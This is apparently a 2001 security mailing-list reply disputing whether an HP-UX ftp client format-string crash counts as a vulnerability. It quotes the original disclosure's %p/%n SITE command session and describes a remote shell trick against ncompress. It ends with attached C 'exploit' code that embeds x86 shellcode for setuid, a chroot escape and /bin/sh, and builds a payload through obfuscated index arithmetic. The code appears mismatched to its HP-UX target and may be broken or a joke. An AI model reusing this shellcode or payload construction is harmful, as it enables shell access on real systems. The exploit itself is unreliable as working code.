Zorgan,

Maybe I am missing the point, but how is making a non-setuid client
application crash a vulnerability?  Most Linux distro's before the summer of
2000 had the same problem, yet it never became a security issue.  I could
understand if the app was being called by a privileged application under
control of a non-privileged user[1], but this doesnt seem to be the case.

During the normal use of the ftp program, there is no reason for the user to
ever execute the SITE command containing the exact format string sequence
needed to exploit this.  Since the bug only affects the SITE command, even
people doing batch-mode transfers from untrusted sites shouldn't worry.  The
only exploit situation is if you allow an untrusted user to add commands to
your .netrc or otherwise have your user account execute arbitrary ftp
commands, either of which provides much easier access to your account than
exploiting a format string (get /some/dir/evilhosts /home/user/.rhosts).

This is almost as bad as saying that you can read /etc/shadow if you know
root's password, then calling it a vulnerability.  Anyways, attached is the
code...

-HD

1. I made a post a while back referring to overflows in the compress program,
but that program is installed on most anonymous FTP sites, allowing remote
users to gain shell access by uploading a file whose name contains the shell
code, then requesting the name of that file plus ".Z". Since then, SuSE has
fixed their version, not sure about anyone else. The compress program is part
of the "ncompress" package of most linux installations.

On Monday 08 January 2001 03:55 pm, [ zorgon ] wrote:
> HP/UX FTP format string vulnerability
>
> A format string vulnerability exists in ftp. This vulnerability was
> discussed with HP labs.
>
> $ uname -a
> HP-UX hpotac8 B.11.00 A 9000/785 2004901631 licence pour deux utilisateurs
> $ ftp localhost
> Connected to localhost.
> 220 localhost FTP server (Version 1.1.214.6 Wed Feb  9 08:03:34 GMT 2000)
> ready. Name (localhost:zorgon):zorgon
> 331 Password required for zorgon.
> Password:
> 230 User zorgon logged in.
> Remote system type is UNIX.
> Using binary mode to transfer files.
> ftp> site exec %p %p %p %p
> 200-40008f10 00000003 00000002 00000001
> 200  (end of '40008f10 00000003 00000002 00000001')
> ftp> site exec %n %n %n %n
> Bus error(coredump)
> $
>
> And the 'SITE' command is also vulnerable
> ....
> ftp> site %p %p %p %p
> 500 'SITE 40008F0C 00000002 00000002 00000001': command not understood.
> ftp> site %n %n %n %n
> Bus error(coredump)
> $ file core
> core:           fichier de vidage de la memoire de'ftp' - recu SIGBUS
>
> The character format strings are not being parsed correctly in the ftp
> client. When HP labs fix the problem in the client, the result will be :
>
> ftp>  site exec %n %n %n %n
> --->  SITE exec %n %n %n %n
> 200-%n %n %n %n
> 200  (end of '%n %n %n %n')
> ftp>
>
> So in this case the ftpd server will not process the character format
> strings. The fix will be made in the next release of the ftp client.

#include <stdio.h>
#include <stdlib.h>

/* compile this with: gcc -o hpftp hpftp.c */

char fshell[] = /* da shell code */
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c"
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a"
"\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
"\x79\x7a\x38\x31\x32\x33\x34\x35\x36\x37\x38\x39\x41\x41"
"\x42\x42\x43\x43\x44\x44\x45\x45\x46\x46\x47\x47\x48\x48"
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x0a\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";


int main (int argc, char **argv)
{
	int i;
	int pof = 12;
	int hof = 2;
	int gof = 530;
	char poof[300];
	/* generate codes */
	i = sprintf(poof, "site exec %s%c%c%c%c|\r\n", fshell, 0xb6, 0x78, 0xff, 0xb3);
	i = ((i + pof) * hof);
	/* messy but works */
	poof[(i-gof)]=fshell[(i-gof)];
	poof[(i-gof)+fshell[55]+fshell[196]]=fshell[(i-(gof-0x0D))];
	poof[(i-gof)+fshell[168]/3]= fshell[(i-(gof-0x08))];
	poof[(i-gof)+fshell[184]]=fshell[(i-(gof-0x0E))];
	poof[(i-gof)+fshell[65]-fshell[60]]=fshell[(i-(gof-13))];
	poof[(i-gof)+fshell[114]-0x58]=fshell[(i-(gof-0x0b))];
	poof[(i-gof)+poof[(i-gof)+fshell[184]]]=fshell[(i-(gof-0x13))];
	poof[(i-gof)+fshell[189]]=fshell[(i-(gof-0x08))];
	poof[(i-gof)+(fshell[182]-fshell[175])]=fshell[(i-(gof-0x0D))];
	poof[(i-gof)+fshell[168]]=fshell[(i-(gof-0x04))];
	poof[(i-gof)+fshell[17]-fshell[83]]=fshell[(i-(gof-0x1E))];
	poof[(i-gof)+fshell[123]+fshell[132]]=fshell[(i-(gof-0x12))];
	poof[(i-gof)+fshell[195]]=fshell[(i-(gof-20))];
	poof[(i-gof)+fshell[18]-fshell[183]]=fshell[(i-(gof-0x02))];
	poof[(i-gof)+fshell[177]]=fshell[(i-(gof-0x0A))];
	poof[(i-gof)+fshell[192]+fshell[189]]=fshell[(i-(gof-18))];
	poof[(i-gof)+fshell[21]-fshell[167]]=(i-gof);
	fprintf(stdout, "%s\n", poof);
	return 0;
}

Reply via email to